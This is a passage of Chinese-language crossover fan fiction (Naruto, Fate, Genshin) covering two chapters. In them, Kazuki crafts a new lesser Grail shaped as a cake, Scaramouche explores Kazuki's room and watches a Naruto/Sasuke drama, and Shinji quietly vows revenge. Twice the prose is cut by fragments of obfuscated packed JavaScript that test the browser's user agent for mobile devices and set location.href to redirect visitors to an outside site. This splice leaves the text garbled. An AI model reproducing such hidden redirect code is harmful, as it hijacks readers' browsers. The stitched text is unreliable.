如果他连这件事都能容忍的话,又何必顶着和宇智波一族结仇的风险抓走修一呢,毕竟此事究竟会带来怎样的后果,早在七年前,他就从远坂时臣的身上见识过了吧! “真司哥!”他立刻把自己的想法告知了安静站在一边的宇智波真司,询问他的意见。后者眯起眼睛想了想,朝他露出了淡淡的微笑:“家里现在也还在一刻不停的找修一呢,木叶是我们的国家,除非间桐脏砚能关着他一动不动的躲一辈子,否则,只要他有所动作,就逃不过我们的眼睛,所以,你不必将此事当做是你一个人的责任,诚如你所说,摧毁大圣杯能让他主动现身的话,那自然是再好不过了,想做什么就去做吧。” 而在一树高兴的朝他点了头,转过身去同伊莉雅商量回实验室解构她身体里的魔术时,并没有发现真司阴冷的目光挨个看过在场的每一个人,像是毒蛇标记目标一样把他们全都记在了心里。 如果修一真的不幸死去的话……他绝不会放任这几个人继续活在这个没有修一的世上! 他们就等着为他的爱人陪葬吧。 既然有了决定,他们没有继续在城堡停留,直接返回了一树暂居的别墅之中。真司说他还有其他事情要处理,很快离开了此地,士郎和美杜莎负责在客房照看失去意识的凛樱姐妹,一树则带着其他人下到地下的实验室里,让伊莉雅躺在了实验室正中的医疗床上。 机器人助理们已经移动到床边,做好了记录的准备。一树解开储藏柜上的封印,从中取出要使用的魔法石,一转头看到散兵抱着手臂站在实验室的门口,脑海中浮现出他过去关于实验室的不好回忆,当即走过去推了他一把:“散兵,你上去看电视或者吃东西吧,这里有赫拉克勒斯和伊阿宋陪我们就好啦。” “不让我留下,你确定中途出了什么问题,他俩不会光顾着保护那个小姑娘,而把你抛在一边不管不顾吗?”散兵朝他挑了挑眉。伊阿宋立刻转过头来,相当不满的说道:“小子,我忍你好久了,怎么说我们也是同一阵营的队友吧,对待同僚这么刻薄,可是会被船长踢下船的!” “我说话刻薄吗?”散兵不以为然的别过了头。“只是实话实说罢了,接受不了的人才该自己反思原因。” “你——” “好了好了!只是制造一个新的小圣杯罢了,不会有什么危险的!看看时间,这个点木叶秘史应该开播了!那可是我最喜欢的电视剧,可好看了,你一定要去看看啊!”眼看着他俩要吵架,一树抬高声音,打断了两个人之间的对话,硬是把从者推出了门。关好实验室的大门,他擦了擦额头上的冷汗,朝着医疗床走了过去:“伊莉雅,做好准备了吗?” 36.第三十六章 散兵沿着楼梯回到客厅,机器人管家察觉到他的回归,当即迎上去,亲切的询问他有什么需求,并热情的推荐他来一杯煮好的红茶。 “不用了,我可受不了你家主人的品位。”散兵谢绝了迎面而来的甜食地狱,状似不经意的问道:“可以带我去一树的房间看看吗?” “当然可以。”一树并没有下达过不准外人参观房间的禁令,是以管家欣然答应,领着他踏上旋转楼梯,来到三楼的主人房门前:“就是这里了。” “多谢。”散兵同他点头道别,推开了房门——首先映入眼帘的,是墙上挂着的巨幅照片,金发少女趴在盛开的花丛中,挺翘的鼻尖上停驻着一只小小的、雪白的蝴蝶,相机精准的捕捉到了她那一刻的惊讶的表情和眼底的喜悦,头顶灿烂的阳光落在她的身上,让整张照片如同古典油画一般浓郁美丽。 ——首先,是我妹妹小薰,她是作为守护这个家的天使降生到我家来的哦。在她出生的时候,全世界的星星,都落到了她的头上,世上再也不可能有比小薰更可爱的女孩子了。她的诞生,为我的人生,赋予了全新的意义……而从今天开始,她也是你的妹妹了。 在小薰照片旁,挂着一家四口的家庭合照。梨纱端坐在沙发上,一左一右的揽着一双儿女,秀幸站在他们身后,弯着腰,张开手揽在孩子们的肩膀上。照片上的每个人都灿烂的笑着,眼眸里充满了单纯的喜悦与幸福,任谁一看都知道,他们一定深深的、深深的爱着彼此。 ——然后是我爸爸和妈妈。虽然你好像一直很担心他们不喜欢你的样子,但那其实完全没有必要啦!因为他们是世上最爱我的人,所以,也一定会像爱我一样爱我所爱的人的,这就是爱屋及乌嘛。我的父母在年少的时候就彼此相爱,并且约定要彼此相伴一生,所以他们从小就教导我和妹妹,他们的陪伴,只是我们人生的其中一个阶段,注定不会陪我们走到最后。我能找到那个正确的人,爸爸妈妈只会为我高兴的。 散兵朝着房间里走去,一树的床头柜和桌子上,摆满了各式各样的相框,除了他的父母和妹妹以外,萤和九喇嘛也是其中的常客。散兵注意到他的床和衣柜之间的位置还摆着一个巨大的玻璃展示柜,其中的横格上放满了大小各异的胶制玩具,造型则是他才见过不久的红色巨人——看来在某人改变过去以后,这些原本不会出现的外星人就成了这个宇宙的常客,甚至被人类捕捉到踪迹,还做成了玩具。 他没在房间里见到自己送他的金羽和人偶,不由闷闷不乐的抱着手臂站了一会儿,这才离开卧室,回到客厅之中。在客厅中待命的机器人管家又一次迎上来,问清楚他的需求以后,为他打开电视,随机播放起了木叶秘史——屏幕上,是一轮高升的明月,随后镜头下移,出现了两个肩并肩躺在一起的男人,他们俩躺在满地碎石之中,鲜血淋漓,浑身是伤,却还在吵吵嚷嚷的说着话。 好吧。散兵回忆了一下圣杯传输的概念和一树过去同他的介绍,确认这两个人之中金发的那一位应该是六代火影漩涡鸣人,黑发的则是他的丈夫、一树的先祖宇智波佐助,不过眼前这个家暴现场究竟是什么前因后果,他就完全不明白了。 【尽管伤痕累累,几乎动弹不得,佐助还是努力侧过头去,看向身边人的脸庞:“不惜让自己变成这样也要阻止我,到底是为什么?我堕入黑暗,并且舍弃一切,就是为了得到力量!不管是谁,都应该会想和我这样的人斩断羁绊吧。” “但是,只有你,坚决不肯和我斩断羁绊……不管发生什么,都不惜一切的要和我扯上关系……这是为什么?” 面对他的质问,鸣人只是微笑着望着天空中的明月,随口答道:“你应该明白的吧。身体完全动不了了……这次又轮到嘴上说个不停了吗?” “好了,快点回答我!”佐助全无与他斗嘴的意愿,不耐烦的打断了他的话。看出他此刻必须得到答案的决心,鸣人这样回答道:“因为……我们是朋友!”】 好吧,真是后辈和先祖一个样。散兵轻哼了一声,感觉自己凭空受到了不小的冒犯——曾经有一段时间,一树也是这样,满口朋友长朋友短的,哪怕后来,他在双生雷神的面前要求要与自己缔结婚约,并且得到了两位雷神的认可,一回头却也还是义正言辞的说自己是他唯一的朋友,把自己气得够呛。 回想起那段为他莫名其妙的言行纠结,焦躁不安又患得患失的时间……简直恍如隔世。 【佐助显然不满于这个答案,继续追问道:“我以前也听你这么说过,但对你而言,朋友究竟是什么?!” “……”闻言,鸣人沉默了下去。片刻之后,他像是终于组织好了语言,慢吞吞的说道:“你让我给你解释,但说实话,我也搞不清楚……只是看着背负沉重东西乱来的你,我总觉得……” “心好痛……” ——在那一霎那,佐助的眼睛猛地因为这个出乎他意料的答案而瞪大了。 而鸣人还在自顾自的说着:“非常痛,我真的没办法对你置之不理。只要你不在我身边,我做什么事都提不起干劲,走到哪里都会想起你,做事的时候也会想起你,这里,这里,还有这里,佐助你都和我一起来过,如果佐助你还在的话,又会怎么做、又会对我说点什么呢……我简直无时无刻不在想你。” “……这根本不叫朋友吧,你这个白痴,果然把学到的东西都还给伊鲁卡了。” “哈?这不叫朋友叫什么?朋友不就是这样的嘛!你是我唯一的朋友,我也是你的唯一啊!” 鸣人吵吵嚷嚷的,似乎完全没有发现自己的话语具有多大的歧义。佐助先还努力板着脸,但片刻之后,他还是忍不住勾起嘴角,似乎是解开了什么心结一般,眉眼间的阴郁之气褪去了大半。 “你这个大笨蛋,吊车尾,连自己想什么都说不明白的家伙,以后我还要继续和你作对。” “哈?现在是谁在跟小孩子一样乱发脾气啊?如果你那样做了,我还是一样会阻止你的!不过我有感觉,你不会再做那样的事了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14983055|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……你为什么能这么肯定?” “不要让我把同一句话重复那么多遍的说!因为,我是那个唯一啊!”鸣人一边说着,一边转头朝他看过去。“你还不明白吗?真是出乎意料的笨……!” 他看到月光洒在佐助的侧脸上,对方正微笑着凝望着他,就好像他早就知道他会说什么,也在等待着他说出那句话一样。明明那张脸上全是他揍出来的伤,但不知道为什么,他突然觉得佐助好好看,好看得让他的心脏一阵狂跳,几乎要从他的嘴巴里跳出来。他不知道自己这是怎么了,只能转回头去看向月亮,随口说道:“今、今晚的月亮真美啊。” “……啊。”佐助闭上了眼睛。 “我,死而无憾。” “说什么傻话啦!我是不会让你死的,给我好好活下去啦!” “吵死了,超级大白痴。”】 屏幕上的两个人虽然互相说着对方的不是,但谁都看得出来,他们的心正紧紧的靠在一起。散兵怔怔的看着屏幕上的画面,好半晌,才把手放在自己空荡荡的胸口,抿着嘴笑了起来。 他当然知道那两句话代表的含义,说起来还要感谢圣杯为他灌输的知识,无差别的让他了解了一切。如果对于一树来说,“唯一的朋友”从一开始就别有深意的话,那他岂不是很早就对自己心怀不轨了? 哼,结果却敢做不敢当,非要到了快要分开的时候,他才愿意承认……还是说,他只是喜欢看自己为他纠结的样子?哈,果然是只惹人讨厌的小鸟呢。 虽然心里是这样抱怨着,他的思绪却忍不住回想起两个人终于彼此坦白的那一天,面对自己的指责,躺在床上的一树还是一副理直气壮的表情,坦然回答道:“因为就算我一开始就坦白对你的感情,你肯定也会想着什么你不值得,我迟早要背叛你,我其实是想要利用你做点什么之类的烂理由来疑神疑鬼的,我已经完全看透你了!” “是啊,毕竟你有那双眼睛,世上有什么人是你看不透的呢?”散兵阴阳怪气的回应道,感觉自己心底的怒火在熊熊燃烧着。 就因为一树的那点恶趣味,他们错过了多少珍贵的时光啊!光是想一想,他都觉得心有不甘。 “我倒觉得没什么不好。”这么说着,一树轻轻拉住了他的手。“之前,你的心一直被仇恨的怒火所笼罩,所以你才会否定一切,也否定自己,但现在,昔日的怨恨已经离你远去了,所以,在尝尽了全部的愤怒和恨以后,如今的你,应该能品尝出爱的滋味了吧。” “虽然,那并不像我喜欢的口味那样全是甜蜜,毕竟要建立一段羁绊,就要做好为此受伤的准备,但也绝不会像你喜欢的口味那样苦涩——如果回想起来,连快乐都没有的话,那这段感情也就没有存在的必要了!” “所以,你现在应该明白,感情其实并不需要直白的言语来说明了吧。我希望你在回忆过去的时候,在度过现在的时候,在走向未来的时候,都明白自己一直有被爱着……那才算我没白穿越一场呢。” 37.第三十七章 一树轻而易举的剖析出了伊莉雅体内的术式,不过在用魔法石制造新的小圣杯的时候,他和伊莉雅产生了些许的分歧。 “禁止灵机一动!”对于一树提出的,给小圣杯换个造型的提议,伊莉雅义正言辞的说道。一树伸手揉了揉她的头发,不以为意的反问道:“不觉得换个造型有助于改善心情吗?” “……所以,这就是你最后把小圣杯做成这样的原因?”看着最终成果,散兵嘴角有些抽搐。见此情形,一树瞪圆了眼睛,把手里的蛋糕往他面前又递了递。“什么呀,不好看吗?!” 没错,被他捧在手里的新任小圣杯,是一块香香软软的小蛋糕,绵软的胚底,雪白的奶油,顶部铺着一层可可粉,还缀着樱桃、草莓和薄荷叶,散发着馥郁的芬芳,无论怎么看都是一副好看又好吃的样子。 “只有你会把一把钥匙做成这样。”散兵不置可否。到底小圣杯长什么模样,都不能改变它的本质,所以他倒也没有责怪一树的意思。 “可是我觉得,小圣杯就像这个蛋糕一样——”一树摆弄着手里的魔术道具,有些狡黠的说道:“因为你只有吃掉蛋糕,才能知道蛋糕到底是什么味道,但吃了以后,蛋糕也就没有了;大圣杯也是哦,你只有用它许了愿望,才知道它其实并不能正常的实现愿望,但那个时候,愿望已经以扭曲的方式实现啦,后悔也来不及了。” “所以,你是想说你自己在上一次圣杯战争中拯救了世界吗?”散兵朝他挑了挑眉。 考虑到自己间接导致好几个家庭陷入漫长的痛苦,一树只是尴尬一笑,没有回答。在他身后,伊莉雅悄无声息的走过来,仰着头问他:“所以,你打算怎么为小圣杯提供魔力呢?” 其实,此时此刻,她的心底也是矛盾重重。毁去大圣杯,虽然意味着她不必再肩负开启大圣杯的责任,但借着大圣杯的魔力现世的英灵,也就要同御主们分离了。 说来也奇怪,其实一开始,她很讨厌赫拉克勒斯,毕竟巨人如此高大,样貌丑陋,让她天然的感觉恐惧,且他明明被爱因兹贝伦禁锢改造,却对自己的处境一无所知,反而时时想和伊莉雅说话,在她看来是十分愚蠢的行为……因为那时的她,只想着快点变强,快点奔赴自己的战场,根本连一句话都不想和对方说。 后来……赫拉克勒斯在爱因兹贝伦地狱般的试炼中不断保护着她,不惜受伤也会服从她的命令,让她对他的看法大为改观,即使嘴上并不承认,和他待在一起的时候,伊莉雅总能感觉自己漂泊不定的心跳逐渐变得安稳。 但那个时候,英灵已经完全被狂化夺去了理性,甚至连基本的交流都做不到了。所以,只有伊莉雅自己知道,她其实多么感激一树让赫拉克勒斯恢复理性,因为她后来才明白,在那个被冰雪覆盖的冰冷的城堡里,他曾是她唯一拥有的温暖。 但是,居然这么快,就要再次失去他…… “铛铛铛,就是这个啦!”一树随手在茶几上找了找,拿起一个绿色的、圆球一般的东西递给伊莉雅。后者谨慎的看了看,察觉那似乎是某种植物的果实,不由在心里猜测,这是不是和一树的能力“木遁”有关。 她伸手接过那颗“果实”,却不想在触碰到它的那一刻,眼前突然闪过一抹古怪的幻影——她看到一棵树被人种到一棵星球上,随后生根发芽,长出密密麻麻的根茎和枝桠。它以这颗星球的能量为食,只要被它的藤蔓触碰到的生物,都会在顷刻间被夺去体内的能量,化为雪白的尸体,直到把整个星球的能量吞噬殆尽,将它变成一颗死星之后,这颗树根遍布星球的大树终于开出一朵极为艳丽、仿佛沁满了鲜血的红色的花来,并且最终结出了一颗碧绿的果实…… 就是她手里拿着的这颗果实! “啊……”她在转瞬间便明白过来,为什么一树当日能够如此自信的宣称他能在不杀死英灵的前提下启动小圣杯,也是,一颗星球的魔力,用在这里甚至称得上浪费了。 不过考虑到他的出身,这种珍贵到世间罕见的魔术道具,说不定只是他家长辈小时候送给他把玩的玩具呢,反正他自己不觉得可惜,伊莉雅也就没有对此多说半句。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995550|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一树却并不知道她通过触碰看到了这颗神树果实的由来。其实,这是他上次穿越去宇宙拍卖会的时候,留下来的最后一颗星球能源,本来是想作为纪念品放进收藏室的,但既然它能在此派上用场,他倒也不吝啬于把它用掉就是了。 “你打算什么时候召唤大圣杯?”伊莉雅最后向他确认道。 “今晚。”一树想也不想的回答。“毕竟,我的准备已经全部完成了,想要阻止我的话,不管他们有什么计划,都只能赶在今晚了。” 是的,有时候想要实现自己的目的,完全不需要在意外面到底存在多少敌人,只要他比他们的速度都快,逼得他们不得不出来直面他,这就足够了。 “……希望你今晚一切顺利。”伊莉雅叹了口气。“我和赫拉克勒斯就不去给你添麻烦了,免得你百忙之中,还要抽空来防备我们。” 毕竟以他的实力,也实在用不着什么帮手。她还想和士郎在木叶继续生活下去,干脆现在就坦然表明了自己的态度。 “往好处想,你们都来我家了,说不定根本走不出这栋房子的防御结界呢?”一树有些腼腆的说道。不过在伊莉雅露出震惊又带着点憎恶的表情之后,他突然笑了起来:“开玩笑的啦!这里的确有结界,不过只是为了保护你们,没有别的意思哦。” 伊莉雅:“……”有时候真不明白他到底哪句话是实话,哪句话是威胁呢。 “不过,刚才等待小圣杯成型的时候,我顺手做了几瓶魔药,让使魔给阿纲送过去好了,他应该都用得上。”一树这样说着,给几个魔药瓶贴上标签,写明用途,这才收进盒子里,招来他留给沢田纲吉的猫咪使魔,把盒子交给了他。 “毕竟这两天实在没空关注他,但愿彭格列指环没给他带来更多的麻烦……” ——但他显然低估了纲吉家来来往往的一大群人的破坏性,并不知道过不了两天,自家师弟就会哭着喊着打电话向他求助,至少这一天,天幕逐渐变得昏暗以后,他便告别了伊莉雅,带着蛋糕和散兵朝着柳洞寺赶了过去。